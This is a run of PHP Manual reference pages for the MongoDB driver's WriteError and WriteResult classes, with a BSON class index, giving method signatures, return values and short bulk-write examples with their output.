  • Returns the WriteError's error code

MongoDB\Driver\WriteError::getCode

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getCode — Returns the WriteError's error code

说明

final public MongoDB\Driver\WriteError::getCode(): int

参数

此函数没有参数。

返回值

Returns the WriteError's error code.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteError::getCode() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors()[0]->getCode());
}

?>

以上示例的输出类似于：

int(11000)

User Contributed Notes

There are no user contributed notes for this page.


Returns the index of the write operation corresponding to this WriteError

  • ? MongoDB\Driver\WriteError::getCode
  • MongoDB\Driver\WriteError::getInfo ?
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Returns the index of the write operation corresponding to this WriteError

MongoDB\Driver\WriteError::getIndex

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getIndex — Returns the index of the write operation corresponding to this WriteError

说明

final public MongoDB\Driver\WriteError::getIndex(): int

参数

此函数没有参数。

返回值

Returns the index of the write operation (from MongoDB\Driver\BulkWrite) corresponding to this WriteError.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteError::getIndex() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors()[0]->getIndex());
}

?>

以上示例的输出类似于：

int(1)

参见

  • MongoDB\Driver\BulkWrite

User Contributed Notes

There are no user contributed notes for this page.


Returns metadata document for the WriteError

  • ? MongoDB\Driver\WriteError::getIndex
  • MongoDB\Driver\WriteError::getMessage ?
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Returns metadata document for the WriteError

MongoDB\Driver\WriteError::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getInfo — Returns metadata document for the WriteError

说明

final public MongoDB\Driver\WriteError::getInfo(): ?object

参数

此函数没有参数。

返回值

Returns the metadata document for the WriteError, or null if no metadata is available.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteError's error message

  • ? MongoDB\Driver\WriteError::getInfo
  • MongoDB\Driver\WriteResult ?
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Returns the WriteError's error message

MongoDB\Driver\WriteError::getMessage

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getMessage — Returns the WriteError's error message

说明

final public MongoDB\Driver\WriteError::getMessage(): string

参数

此函数没有参数。

返回值

Returns the WriteError's error message.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteError::getMessage() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors()[0]->getMessage());
}

?>

以上示例的输出类似于：

string(70) "E11000 duplicate key error index: db.collection.$_id_ dup key: { : 1 }"

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteResult class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\WriteResult class encapsulates information about an executed MongoDB\Driver\BulkWrite and may be returned by MongoDB\Driver\Manager::executeBulkWrite().

类摘要

final class MongoDB\Driver\WriteResult {
/* 方法 */
final public getDeletedCount(): ?int
final public getInsertedCount(): ?int
final public getMatchedCount(): ?int
final public getModifiedCount(): ?int
final public getServer(): MongoDB\Driver\Server
final public getUpsertedCount(): ?int
final public getUpsertedIds(): array
final public getWriteConcernError(): ?MongoDB\Driver\WriteConcernError
final public getWriteErrors(): array
final public isAcknowledged(): bool
}

Table of Contents

  • MongoDB\Driver\WriteResult::getDeletedCount — Returns the number of documents deleted
  • MongoDB\Driver\WriteResult::getInsertedCount — Returns the number of documents inserted (excluding upserts)
  • MongoDB\Driver\WriteResult::getMatchedCount — Returns the number of documents selected for update
  • MongoDB\Driver\WriteResult::getModifiedCount — Returns the number of existing documents updated
  • MongoDB\Driver\WriteResult::getServer — Returns the server associated with this write result
  • MongoDB\Driver\WriteResult::getUpsertedCount — Returns the number of documents inserted by an upsert
  • MongoDB\Driver\WriteResult::getUpsertedIds — Returns an array of identifiers for upserted documents
  • MongoDB\Driver\WriteResult::getWriteConcernError — Returns any write concern error that occurred
  • MongoDB\Driver\WriteResult::getWriteErrors — Returns any write errors that occurred
  • MongoDB\Driver\WriteResult::isAcknowledged — Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of documents deleted

  • ? MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteResult::getInsertedCount ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents deleted

MongoDB\Driver\WriteResult::getDeletedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getDeletedCount — Returns the number of documents deleted

说明

final public MongoDB\Driver\WriteResult::getDeletedCount(): ?int

参数

此函数没有参数。

返回值

Returns the number of documents deleted, or null if the write was not acknowledged.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getDeletedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getDeletedCount());

?>

以上示例会输出：

int(1)

参见

  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of documents inserted (excluding upserts)

  • ? MongoDB\Driver\WriteResult::getDeletedCount
  • MongoDB\Driver\WriteResult::getMatchedCount ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents inserted (excluding upserts)

MongoDB\Driver\WriteResult::getInsertedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getInsertedCount — Returns the number of documents inserted (excluding upserts)

说明

final public MongoDB\Driver\WriteResult::getInsertedCount(): ?int

参数

此函数没有参数。

返回值

Returns the number of documents inserted (excluding upserts), or null if the write was not acknowledged.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getInsertedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getInsertedCount());

?>

以上示例会输出：

int(1)

参见

  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

noam 29-Nov-2018 05:31
In case you are trying to add an index to a collection, and the index is already there, the value of getInsertedCount() depends on the MongoDB server version.
For example, MongoDB version 2.4 consider the index as inserted, but version 3.6 does not.


Returns the number of documents selected for update

  • ? MongoDB\Driver\WriteResult::getInsertedCount
  • MongoDB\Driver\WriteResult::getModifiedCount ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents selected for update

MongoDB\Driver\WriteResult::getMatchedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getMatchedCount — Returns the number of documents selected for update

说明

final public MongoDB\Driver\WriteResult::getMatchedCount(): ?int

If the update operation results in no change to the document (e.g. setting the value of a field to its current value), the matched count may be greater than the value returned by MongoDB\Driver\WriteResult::getModifiedCount().

参数

此函数没有参数。

返回值

Returns the number of documents selected for update, or null if the write was not acknowledged.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getMatchedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getMatchedCount());

?>

以上示例会输出：

int(1)

参见

  • MongoDB\Driver\WriteResult::getModifiedCount() - Returns the number of existing documents updated
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of existing documents updated

  • ? MongoDB\Driver\WriteResult::getMatchedCount
  • MongoDB\Driver\WriteResult::getServer ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of existing documents updated

MongoDB\Driver\WriteResult::getModifiedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getModifiedCount — Returns the number of existing documents updated

说明

final public MongoDB\Driver\WriteResult::getModifiedCount(): ?int

If the update operation results in no change to the document (e.g. setting the value of a field to its current value), the modified count may be less than the value returned by MongoDB\Driver\WriteResult::getMatchedCount().

参数

此函数没有参数。

返回值

Returns the number of existing documents updated, or null if the write was not acknowledged.

The modified count is not available on versions of MongoDB before 2.6, which used the legacy wire protocol version (i.e. OP_UPDATE). If this is the case, the modified count will also be null.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getModifiedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getModifiedCount());

?>

以上示例会输出：

int(1)

参见

  • MongoDB\Driver\WriteResult::getMatchedCount() - Returns the number of documents selected for update
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the server associated with this write result

  • ? MongoDB\Driver\WriteResult::getModifiedCount
  • MongoDB\Driver\WriteResult::getUpsertedCount ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the server associated with this write result

MongoDB\Driver\WriteResult::getServer

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getServer — Returns the server associated with this write result

说明

final public MongoDB\Driver\WriteResult::getServer(): MongoDB\Driver\Server

Returns the MongoDB\Driver\Server associated with this write result. This is the server that executed the MongoDB\Driver\BulkWrite.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\Server associated with this write result.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getServer() example

<?php

$manager = new MongoDB\Driver\Manager;
$server = $manager->selectServer(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY));

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $server->executeBulkWrite('db.collection', $bulk);

var_dump($result->getServer() == $server);

?>

以上示例会输出：

bool(true)

参见

  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of documents inserted by an upsert

  • ? MongoDB\Driver\WriteResult::getServer
  • MongoDB\Driver\WriteResult::getUpsertedIds ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents inserted by an upsert

MongoDB\Driver\WriteResult::getUpsertedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getUpsertedCount — Returns the number of documents inserted by an upsert

说明

final public MongoDB\Driver\WriteResult::getUpsertedCount(): ?int

参数

此函数没有参数。

返回值

Returns the number of documents inserted by an upsert.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getUpsertedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getUpsertedCount());

?>

以上示例会输出：

int(2)

参见

  • MongoDB\Driver\WriteResult::getUpsertedIds() - Returns an array of identifiers for upserted documents
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of identifiers for upserted documents

  • ? MongoDB\Driver\WriteResult::getUpsertedCount
  • MongoDB\Driver\WriteResult::getWriteConcernError ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns an array of identifiers for upserted documents

MongoDB\Driver\WriteResult::getUpsertedIds

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getUpsertedIds — Returns an array of identifiers for upserted documents

说明

final public MongoDB\Driver\WriteResult::getUpsertedIds(): array

参数

此函数没有参数。

返回值

Returns an array of identifiers (i.e. "_id" field values) for upserted documents. The array keys will correspond to the index of the write operation (from MongoDB\Driver\BulkWrite) responsible for the upsert.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getUpsertedIds() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getUpsertedIds());

?>

以上示例的输出类似于：

array(2) {
  [2]=>
  object(MongoDB\BSON\ObjectId)#4 (1) {
    ["oid"]=>
    string(24) "580e62a224f2302f191b880b"
  }
  [3]=>
  object(MongoDB\BSON\ObjectId)#5 (1) {
    ["oid"]=>
    string(24) "580e62a224f2302f191b880c"
  }
}

参见

  • MongoDB\Driver\WriteResult::getUpsertedCount() - Returns the number of documents inserted by an upsert
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns any write concern error that occurred

  • ? MongoDB\Driver\WriteResult::getUpsertedIds
  • MongoDB\Driver\WriteResult::getWriteErrors ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns any write concern error that occurred

MongoDB\Driver\WriteResult::getWriteConcernError

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getWriteConcernError — Returns any write concern error that occurred

说明

final public MongoDB\Driver\WriteResult::getWriteConcernError(): ?MongoDB\Driver\WriteConcernError

参数

此函数没有参数。

返回值

Returns a MongoDB\Driver\WriteConcernError if a write concern error was encountered during the write operation, and null otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getWriteConcernError() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError());
}

?>

以上示例的输出类似于：

object(MongoDB\Driver\WriteConcernError)#6 (3) {
  ["message"]=>
  string(33) "waiting for replication timed out"
  ["code"]=>
  int(64)
  ["info"]=>
  object(stdClass)#7 (1) {
    ["wtimeout"]=>
    bool(true)
  }
}

参见

  • MongoDB\Driver\WriteConcern
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns any write errors that occurred

  • ? MongoDB\Driver\WriteResult::getWriteConcernError
  • MongoDB\Driver\WriteResult::isAcknowledged ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns any write errors that occurred

MongoDB\Driver\WriteResult::getWriteErrors

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getWriteErrors — Returns any write errors that occurred

说明

final public MongoDB\Driver\WriteResult::getWriteErrors(): array

参数

此函数没有参数。

返回值

Returns an array of MongoDB\Driver\WriteError objects for any write errors encountered during the write operation. The array will be empty if no write errors occurred.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::getWriteErrors() with a single error

<?php

$manager = new MongoDB\Driver\Manager;

/* By default, bulk write operations are executed serially in order and
* execution will stop after the first error.
*/
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 4]);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors());
}

?>

以上示例的输出类似于：

array(1) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 2 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(2)
    ["info"]=>
    NULL
  }
}

Example #2 MongoDB\Driver\WriteResult::getWriteErrors() with multiple errors

<?php

$manager = new MongoDB\Driver\Manager;

/* The "ordered" option may be used to allow bulk write operations to continue
* executing after the first error is encountered.
*/
$bulk = new MongoDB\Driver\BulkWrite(['ordered' => false]);
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 4]);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors());
}

?>

以上示例的输出类似于：

array(2) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 2 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(2)
    ["info"]=>
    NULL
  }
  [1]=>
  object(MongoDB\Driver\WriteError)#6 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 4 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(5)
    ["info"]=>
    NULL
  }
}

参见

  • MongoDB\Driver\WriteError

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the write was acknowledged

  • ? MongoDB\Driver\WriteResult::getWriteErrors
  • MongoDB\BSON ?
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns whether the write was acknowledged

MongoDB\Driver\WriteResult::isAcknowledged

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::isAcknowledged — Returns whether the write was acknowledged

说明

final public MongoDB\Driver\WriteResult::isAcknowledged(): bool

If the write is acknowledged, other count fields will be available on the MongoDB\Driver\WriteResult object.

参数

此函数没有参数。

返回值

Returns true if the write was acknowledged, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteResult::isAcknowledged() with acknowledged write concern

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->isAcknowledged());

?>

以上示例会输出：

bool(true)

Example #2 MongoDB\Driver\WriteResult::isAcknowledged() with unacknowledged write concern

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk, new MongoDB\Driver\WriteConcern(0));

var_dump($result->isAcknowledged());

?>

以上示例会输出：

bool(false)

参见

  • MongoDB\Driver\WriteConcern
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


BSON type classes and serialization functions

  • 函数
    • MongoDB\BSON\fromJSON — Returns the BSON representation of a JSON value
    • MongoDB\BSON\fromPHP — Returns the BSON representation of a PHP value
    • MongoDB\BSON\toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of a BSON value
    • MongoDB\BSON\toJSON — Returns the Legacy Extended JSON representation of a BSON value
    • MongoDB\BSON\toPHP — Returns the PHP representation of a BSON value
    • MongoDB\BSON\toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of a BSON value
  • MongoDB\BSON\Document — The MongoDB\BSON\Document class
    • MongoDB\BSON\Document::__construct — Construct a new BSON document (unused)
    • MongoDB\BSON\Document::fromBSON — Construct a new document instance from a BSON string
    • MongoDB\BSON\Document::fromJSON — Construct a new document instance from a JSON string
    • MongoDB\BSON\Document::fromPHP — Construct a new document instance from PHP data
    • MongoDB\BSON\Document::get — Returns the value of a key in the document
    • MongoDB\BSON\Document::getIterator — Returns an iterator for the BSON document
    • MongoDB\BSON\Document::has — Returns whether a key is present in the document
    • MongoDB\BSON\Document::serialize — Serialize a Document
    • MongoDB\BSON\Document::toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of the BSON document
    • MongoDB\BSON\Document::toPHP — Returns the PHP representation of the BSON document
    • MongoDB\BSON\Document::toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of the BSON document
    • MongoDB\BSON\Document::__toString — Returns the string representation of this BSON Document
    • MongoDB\BSON\Document::unserialize — Unserialize a BSON document
  • MongoDB\BSON\PackedArray — The MongoDB\BSON\PackedArray class
    • MongoDB\BSON\PackedArray::__construct — Construct a new BSON array (unused)
    • MongoDB\BSON\PackedArray::fromPHP — Construct a new BSON array instance from PHP data
    • MongoDB\BSON\PackedArray::get — Returns the value of an index in the array
    • MongoDB\BSON\PackedArray::getIterator — Returns an iterator for the BSON array
    • MongoDB\BSON\PackedArray::has — Returns whether a index is present in the array
    • MongoDB\BSON\PackedArray::serialize — Serialize a BSON array
    • MongoDB\BSON\PackedArray::toPHP — Returns the PHP representation of the BSON array
    • MongoDB\BSON\PackedArray::__toString — Returns the string representation of this BSON array
    • MongoDB\BSON\PackedArray::unserialize — Unserialize a BSON array
  • MongoDB\BSON\Iterator — The MongoDB\BSON\Iterator class
    • MongoDB\BSON\Iterator::__construct — Construct a new BSON iterator (unused)
    • MongoDB\BSON\Iterator::current — Returns the current element
    • MongoDB\BSON\Iterator::key — Returns the key of the current element
    • MongoDB\BSON\Iterator::next — Advances the iterator to next element
    • MongoDB\BSON\Iterator::rewind — Rewinds the Iterator to the first element
    • MongoDB\BSON\Iterator::valid — Checks if current position is valid
  • MongoDB\BSON\Binary — The MongoDB\BSON\Binary class
    • MongoDB\BSON\Binary::__construct — Construct a new Binary
    • MongoDB\BSON\Binary::getData — Returns the Binary's data
    • MongoDB\BSON\Binary::getType — Returns the Binary's type
    • MongoDB\BSON\Binary::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Binary::serialize — Serialize a Binary
    • MongoDB\BSON\Binary::__toString — Returns the Binary's data
    • MongoDB\BSON\Binary::unserialize — Unserialize a Binary
  • MongoDB\BSON\Decimal128 — The MongoDB\BSON\Decimal128 class
    • MongoDB\BSON\Decimal128::__construct — Construct a new Decimal128
    • MongoDB\BSON\Decimal128::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Decimal128::serialize — Serialize a Decimal128
    • MongoDB\BSON\Decimal128::__toString — Returns the string representation of this Decimal128
    • MongoDB\BSON\Decimal128::unserialize — Unserialize a Decimal128
  • MongoDB\BSON\Javascript — The MongoDB\BSON\Javascript class
    • MongoDB\BSON\Javascript::__construct — Construct a new Javascript
    • MongoDB\BSON\Javascript::getCode — Returns the Javascript's code
    • MongoDB\BSON\Javascript::getScope — Returns the Javascript's scope document
    • MongoDB\BSON\Javascript::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Javascript::serialize — Serialize a Javascript
    • MongoDB\BSON\Javascript::__toString — Returns the Javascript's code
    • MongoDB\BSON\Javascript::unserialize — Unserialize a Javascript
  • MongoDB\BSON\MaxKey — The MongoDB\BSON\MaxKey class
    • MongoDB\BSON\MaxKey::__construct — Construct a new MaxKey
    • MongoDB\BSON\MaxKey::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\MaxKey::serialize — Serialize a MaxKey
    • MongoDB\BSON\MaxKey::unserialize — Unserialize a MaxKey
  • MongoDB\BSON\MinKey — The MongoDB\BSON\MinKey class
    • MongoDB\BSON\MinKey::__construct — Construct a new MinKey
    • MongoDB\BSON\MinKey::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\MinKey::serialize — Serialize a MinKey
    • MongoDB\BSON\MinKey::unserialize — Unserialize a MinKey
  • MongoDB\BSON\ObjectId — The MongoDB\BSON\ObjectId class
    • MongoDB\BSON\ObjectId::__construct — Construct a new ObjectId
    • MongoDB\BSON\ObjectId::getTimestamp — Returns the timestamp component of this ObjectId
    • MongoDB\BSON\ObjectId::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\ObjectId::serialize — Serialize an ObjectId
    • MongoDB\BSON\ObjectId::__toString — Returns the hexidecimal representation of this ObjectId
    • MongoDB\BSON\ObjectId::unserialize — Unserialize an ObjectId
  • MongoDB\BSON\Regex — The MongoDB\BSON\Regex class
    • MongoDB\BSON\Regex::__construct — Construct a new Regex
    • MongoDB\BSON\Regex::getFlags — Returns the Regex's flags
    • MongoDB\BSON\Regex::getPattern — Returns the Regex's pattern
    • MongoDB\BSON\Regex::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Regex::serialize — Serialize a Regex
    • MongoDB\BSON\Regex::__toString — Returns the string representation of this Regex
    • MongoDB\BSON\Regex::unserialize — Unserialize a Regex
  • MongoDB\BSON\Timestamp — The MongoDB\BSON\Timestamp class
    • MongoDB\BSON\Timestamp::__construct — Construct a new Timestamp
    • MongoDB\BSON\Timestamp::getIncrement — Returns the increment component of this Timestamp
    • MongoDB\BSON\Timestamp::getTimestamp — Returns the timestamp component of this Timestamp
    • MongoDB\BSON\Timestamp::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Timestamp::serialize — Serialize a Timestamp
    • MongoDB\BSON\Timestamp::__toString — Returns the string representation of this Timestamp
    • MongoDB\BSON\Timestamp::unserialize — Unserialize a Timestamp
  • MongoDB\BSON\UTCDateTime — The MongoDB\BSON\UTCDateTime class
    • MongoDB\BSON\UTCDateTime::__construct — Construct a new UTCDateTime
    • MongoDB\BSON\UTCDateTime::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\UTCDateTime::serialize — Serialize a UTCDateTime
    • MongoDB\BSON\UTCDateTime::toDateTime — Returns the DateTime representation of this UTCDateTime
    • MongoDB\BSON\UTCDateTime::__toString — Returns the string representation of this UTCDateTime
    • MongoDB\BSON\UTCDateTime::unserialize — Unserialize a UTCDateTime
  • MongoDB\BSON\Type — The MongoDB\BSON\Type interface
  • MongoDB\BSON\Persistable — The MongoDB\BSON\Persistable interface
    • MongoDB\BSON\Persistable::bsonSerialize — Provides an array or document to serialize as BSON
  • MongoDB\BSON\Serializable — The MongoDB\BSON\Serializable interface
    • MongoDB\BSON\Serializable::bsonSerialize — Provides an array or document to serialize as BSON
  • MongoDB\BSON\Unserializable — The MongoDB\BSON\Unserializable interface
    • MongoDB\BSON\Unserializable::bsonUnserialize — Constructs the object from a BSON array or document
  • MongoDB\BSON\BinaryInterface — The MongoDB\BSON\BinaryInterface interface
    • MongoDB\BSON\BinaryInterface::getData — Returns the BinaryInterface's data
    • MongoDB\BSON\BinaryInterface::getType — Returns the BinaryInterface's type
    • MongoDB\BSON\BinaryInterface::__toString — Returns the BinaryInterface's data
  • MongoDB\BSON\Decimal128Interface — The MongoDB\BSON\Decimal128Interface interface
    • MongoDB\BSON\Decimal128Interface::__toString — Returns the string representation of this Decimal128Interface
  • MongoDB\BSON\JavascriptInterface — The MongoDB\BSON\JavascriptInterface interface
    • MongoDB\BSON\JavascriptInterface::getCode — Returns the JavascriptInterface's code
    • MongoDB\BSON\JavascriptInterface::getScope — Returns the JavascriptInterface's scope document
